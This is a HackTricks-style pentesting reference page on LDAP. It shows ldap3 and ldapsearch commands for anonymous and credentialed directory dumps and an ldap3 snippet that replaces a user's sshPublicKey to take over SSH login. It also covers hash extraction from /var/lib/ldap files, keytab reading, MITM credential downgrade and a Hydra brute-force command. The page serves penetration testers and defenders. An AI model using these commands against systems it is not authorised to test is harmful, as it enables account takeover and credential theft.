389, 636, 3268, 3269 - Pentesting LDAP

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Basic Information
Extracted from: https://searchmobilecomputing.techtarget.com/definition/LDAP​
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
An LDAP directory can be distributed among many servers. Each server can have a replicated version of the total directory that is synchronized periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
The root directory (the starting place or the source of the tree), which branches out to
Countries, each of which branches out to
Organizations, which branch out to
Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
Individuals (which includes people, files, and shared resources such as printers)
Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
​
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
​
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
​
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
​
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: [email protected]
phone: 23627387495
Lines 1-3 define the top level domain local
Lines 5-8 define the first level domain moneycorp (moneycorp.local)
Lines 10-16 define 2 organizational units: dev and sales
Lines 18-26 create an object of the domain and assign attributes with values
Basic Enumeration
Manual
You can try to enumerate a LDAP with or without credentials using python: pip3 install ldap3
First try to connect without credentials:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
If the response is True like in the previous example, you can obtain some interesting data of the LDAP (like the naming context or domain name) server from:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts: 
dc=DOMAIN,dc=DOMAIN
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Or dump the whole ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
Automated
Using this you will be able to see the public information (like the domain name):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Write data
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= [email protected]'])]})
Example taken from: https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/​
Clear text credentials
If LDAP is used without SSL you can sniff credentials in plain text in the network.
Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.
If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
​ldapdomaindump​
pip3 install ldapdomaindump 
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
​Brute Force​
Manual
ldapsearch
Check null credentials or if your credentials are valid:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839
If you find something saying that the "bind must be completed" means that the credentials arr incorrect.
You can extract everything from a domain using:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Extract users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Extract computers:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract my info:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
To see if you have access to any password you can use grep after executing one of the queries:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Please, notice that the passwords that you can find here could not be the real ones...
pbis
You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis.
Pbis allow you to get basic information easily:
#Read keytab file
./klist -k /etc/krb5.keytab
​
#Get known domains info
./get-status
./lsa get-status
​
#Get basic metrics
./get-metrics
./lsa get-metrics
​
#Get users
./enum-users
./lsa enum-users
​
#Get groups
./enum-groups
./lsa enum-groups
​
#Get all kind of objects
./enum-objects
./lsa enum-objects
​
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
​
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
​
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
    echo "$line";
    ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
    echo "======================"
done
Graphical Interface
Apache Directory
​Download Apache Directory from here. You can find an example of how to use this tool here.
jxplorer
You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html​
By default is is installed in: /opt/jxplorer
Authentication via kerberos
Using ldapsearch you can authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI
POST
If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
Configuration Files
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Automatic Commands
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out
​
Entry_1:
  Name: Notes
  Description: Notes for LDAP
  Note: |
    LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
​
    https://book.hacktricks.xyz/pentesting/pentesting-ldap
​
Entry_2:
  Name: Banner Grab
  Description: Grab LDAP Banner
  Command: nmap -p 389 --script ldap-search -Pn {IP}
​
Entry_3:
  Name: LdapSearch
  Description: Base LdapSearch
  Command: ldapsearch -H ldap://{IP} -x
​
Entry_4:
  Name: LdapSearch Naming Context Dump
  Description: Attempt to get LDAP Naming Context
  Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
​
Entry_5:
  Name: LdapSearch Big Dump
  Description: Need Naming Context to do big dump
  Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
​
Entry_6:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
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On this page

Basic Information

LDAP Data Interchange Format

Basic Enumeration

Manual

Automated

Write data

Clear text credentials

Bypass TLS SNI check

Valid Credentials

Brute Force

Manual

Graphical Interface

Apache Directory

jxplorer

Authentication via kerberos

POST

Configuration Files

HackTricks Automatic Commands

Basic Information

LDAP Data Interchange Format

Basic Enumeration

Manual

Automated

Write data

Clear text credentials

Bypass TLS SNI check

Valid Credentials

​Brute Force​

Manual

ldapsearch

pbis

Graphical Interface

Apache Directory

jxplorer

Authentication via kerberos

POST

Configuration Files

HackTricks Automatic Commands

Brute Force